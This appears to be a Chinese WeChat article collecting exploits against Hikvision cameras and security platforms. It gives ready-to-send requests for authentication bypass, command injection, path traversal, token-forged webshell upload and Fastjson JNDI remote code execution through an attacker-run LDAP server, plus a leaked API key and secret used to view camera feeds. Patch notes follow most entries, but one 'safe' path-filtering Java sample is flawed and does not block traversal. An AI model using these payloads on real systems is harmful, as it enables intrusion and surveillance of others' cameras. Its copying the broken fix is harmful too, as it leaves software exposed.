参考链接:
排版:利刃信安
https://mp.weixin.qq.com/s/E6flzm2_3UmK62P0BuMxEg
https://mp.weixin.qq.com/s/RIixdCh8fGszPmGS-9rxFw
https://mp.weixin.qq.com/s/mX_7ubt-sNFN0Y-qE4wAGg
https://mp.weixin.qq.com/s/3fWICeosay5XTEEs9iHvmQ
https://mp.weixin.qq.com/s/CEGjTyhphr2GMuK9zpl5bg
https://mp.weixin.qq.com/s/Wveo0X3857mBWFzNOcJHJw
1.海康威视系列产品默认口令(漏洞基本均已修复,仅供参考学习)
------------------------------------------------------
2.海康威视IP Camera身份认证绕过漏洞
漏洞编号:
CVE-2017-7921 CVE-2017-7923
漏洞描述:
海康威视IP Camera设备中存在一个权限提升安全漏洞。由于代码对用户传入参数检查不足,攻击者可能利用该漏洞提升权限,获取或修改设备信息。
影响范围:
排查步骤:
查看系统所有存在用户列表
http://ip/Security/users?auth=YWRtaW46MTEKYWRtaW46MTEK
auth内容是admin:11的base64编码。
获取系统监控快照,不需要进行身份验证。
http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK
下载摄像机配置文件,通过脚本解密配置文件获得账密信息。
http://ip/System/configurationFile?auth=YWRtaW46MTEK
用hex编辑器打开下载的configurationFile文件发现是加密后的。
解密命令
python3 decrypt_configurationFile.py configurationFile
GitHub地址:
https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor
红框中的就是后台登录的账号密码。
进入后台
https://advisories.checkpoint.com/advisory/cpai-2017-0876/#
修复方式:
用户可通过海康威视官网获取补丁/更新版本。
补丁获取地址:
https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20170314/
-----------------------------------------------------
3.海康威视多产品存在命令注入漏洞
漏洞编号:
CVE-2021-36260
漏洞描述:
易受攻击的 PTZ 摄像机固件。
易受攻击的旧固件。
OEM 固件。
排查步骤:
漏洞POC:
PUT /SDK/webLanguage HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 89
<?xml version="1.0"
encoding="UTF-8"?><language>$(ifconfig -a >
webLib/dd.asp)</language>
成功执行命令。
漏洞修复:
用户可通过海康威视官网获取补丁/更新版本。
补丁下载地址:
https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/
--------------------------------------------
4.海康威视流媒体管理服务器后台任意文件读取漏洞
影响范围:
流媒体管理服务器 V2.3.5
资产排查:
web.title="流媒体管理服务器"
排查步骤:
漏洞POC:
http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini
fileName未输入文件名时,返回包会报错,错误信息中包含网站的部分绝对路径信息,经过路径构造可以获取当前php文件的内容:
$file = fopen($file_dir . $file_name,"r"); // 打开文件
漏洞修复:
1.php.ini 配置 open_basedir(针对PHP应用程序)。
2.用户输入配置白名单,对文件下载类型进行检查,判断是否为允许下载类型。
3.过滤路径回溯符../,或者直接将..替换成空。对参数进行过滤,依次过滤“.”、“..”、“/”、“\”等字符。
4.对于下载文件的目录做好限制,只能下载定目录下的文件,或者将要下载的资源文件路径存入数据库,附件下载时定数据库中的id即可,id即对应的资源。
参考代码:
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.regex.Pattern;
public class FileReader {
// 正则表达式,用于过滤路径中的 ../ 字符串
private static final Pattern SAFE_PATH_PATTERN = Pattern.compile("[^/]+/\\.\\./");
// 安全读取文件
public static byte[] readSafely(String path) throws IOException {
// 将路径中的 ../ 替换为空字符串
String safePath = SAFE_PATH_PATTERN.matcher(path).replaceAll("");
// 使用安全路径读取文件
Path filePath = Paths.get(safePath);
return Files.readAllBytes(filePath);
}
}
这段代码中使用了正则表达式来过滤路径中的 ../ 字符串,确保文件只能被读取到预期的位置。
使用方法:
try {
byte[] fileData = FileReader.readSafely("/path/to/file");
} catch (IOException e) {
// 处理异常
}
--------------------------------------------------------------------------
5.海康威视iVMS综合安防系统任意文件上传漏洞(0day)
产品介绍:
海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。
漏洞描述:
海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。
影响范围:
海康威视综合安防系统iVMS-5000
海康威视综合安防系统 iVMS-8700
资产排查:
web.body="/views/home/file/installPackage.rar"
排查步骤:
漏洞POC:
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryGEJwiloiPo
构造token绕过认证
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62
service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action
构造token绕过认证 (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)
secretkey是代码里写死的(默认值:secretKeyIbuilding)
token值需要进行MD5加密(32位大写)
组合:token=MD5(url+"secretKeyIbuilding")
重新验证
可以看到,成功绕过
构造文件上传payload
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryGEJwiloiPo
显示上传成功且返回了resourceUuid值
验证路径:http://url/eps/upload/resourceUuid的值.jsp
https://github.com/sccmdaveli/hikvision-poc
使用方式:
单个url检测:python3 ivms-poc.py -u url
多个url检测:python3 ivms-poc.py -f file.txt
漏洞修复:
1.在服务器后端控制上传文件类型,处理时强制使用随机数改写文件名和文件路径,不要使用用户自定义的文件名和文件路径。
2.在服务器后端建议使用白名单的方法对上传的文件进行过滤,上传的目录不进行解析,只提供下载权限。
3.开源编辑器上传漏洞:若新版编辑器已修复漏洞,请更新编辑器版本。
4.除了以上的方法之外,还可将被上传的文件限制在某一路径下,并在文件上传目录禁止脚本解析。
参考代码:
import java.io.File;
import java.io.IOException;
import java.security.SecureRandom;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
public class FileUploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final String ALLOWED_FILE_TYPES = "image/jpeg,image/png,image/gif";
private static final SecureRandom random = new SecureRandom();
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// 获取上传的文件
Part filePart = request.getPart("file");
// 检查文件类型是否被允许
String fileType = filePart.getContentType();
if (!ALLOWED_FILE_TYPES.contains(fileType)) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type.");
return;
}
// 使用随机数改写文件名和文件路径
String fileName = generateRandomFileName(filePart.getSubmittedFileName());
String filePath = request.getServletContext().getRealPath("/") + File.separator + "uploads" + File.separator + fileName;
// 保存文件
filePart.write(filePath);
// 返回响应
response.setStatus(HttpServletResponse.SC_OK);
}
private static String generateRandomFileName(String fileName) {
int randomNumber = random.nextInt();
String[] fileNameParts = fileName.split("\\.");
String fileExtension = fileNameParts[fileNameParts.length - 1];
return randomNumber + "." + fileExtension;
}
}
在上面的代码中,我们首先使用 getPart 方法获取上传的文件。然后检查文件类型是否在允许的文件类型列表中。如果不在,则发送错误响应。否则,我们使用随机数改写文件名和文件路径。最后,我们使用 write 方法将文件写入磁盘,并返回响应。
--------------------------------------------------
6.海康威视综合安防管理平台存在Fastjson远程命令执行漏洞(2022 HVV洞)
产品介绍:
综合安防管理平台基于“统一软件技术架构”理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。
漏洞描述:
海康威视综合安防管理平台存在Fastjson远程命令执行漏洞,该漏洞可执行系统命令,直接获取服务器权限。
资产排查:
app="HIKVISION-综合安防管理平台"
排查步骤:
漏洞数据包如下:
POST /bic/ssoService/v1/applyCT HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/json
Content-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://2vyvoa.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}
先看看能不能连dnslog服务器,如果dnslog服务器收到请求,则大概率存在命令执行漏洞
确定dnslog能收到请求之后,使用工具JNDIExploit-1.2-SNAPSHOT.jar 进一步利用。把该工具上传到公网服务器后,执行如下命令
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 你的公网服务器ip
记得对外开放1389 8080端口哦
然后就在数据包的头部加上 cmd: whoami 这里whoami也可以改成你想执行的命令
存在注入的地方改成 ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho
POST /bic/ssoService/v1/applyCT HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/json
cmd: whoami
Content-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho","autoCommit":true},"hfe4zyyzldp":"="}
成功执行whoami命令 。
漏洞修复:
用户可通过海康威视官网获取补丁/更新版本。
补丁下载地址:
https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/
---------------------------------------------------------------
8.海康威视AK信息泄露漏洞
进行js多次查看发现存在jsconfig的调用。
appkey就是user 由一个8位数数构成:23412412
Secret就是passwd,由21位的密钥构成:QfQPss5GOac9Bjxkfuv3
官方提供api接口文档
https://open.hikvision.com/docs/docId?productId=5c67f1e2f05948198c909700&version=%2Ff95e951cefc54578b523d1738f65f0a1&curNodeId=16741aecc05944a6b0cd1341d68e4546
1./api/resource/v2/encodeDevice/search接口,获取权限的编码设备列表
2./api/resource/v1/cameras 获取cameraIndexCode
3./api/video/v1/manualCapture 带cameraIndexCode去获取摄像头的Picurl
{
"cameraIndexCode":id号,
"pageNo": 1,
"pageSize": 1000
}
3.会获取如下图的picUrl,直接访问就是摄像头的画面
利用rtsp协议去访问
利用/api/video/v2/cameras/previewURLs 接口 。获取获取rtsp协议摄像
这里借助借助VLC media player 播放去访问rtsp协议摄像头
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持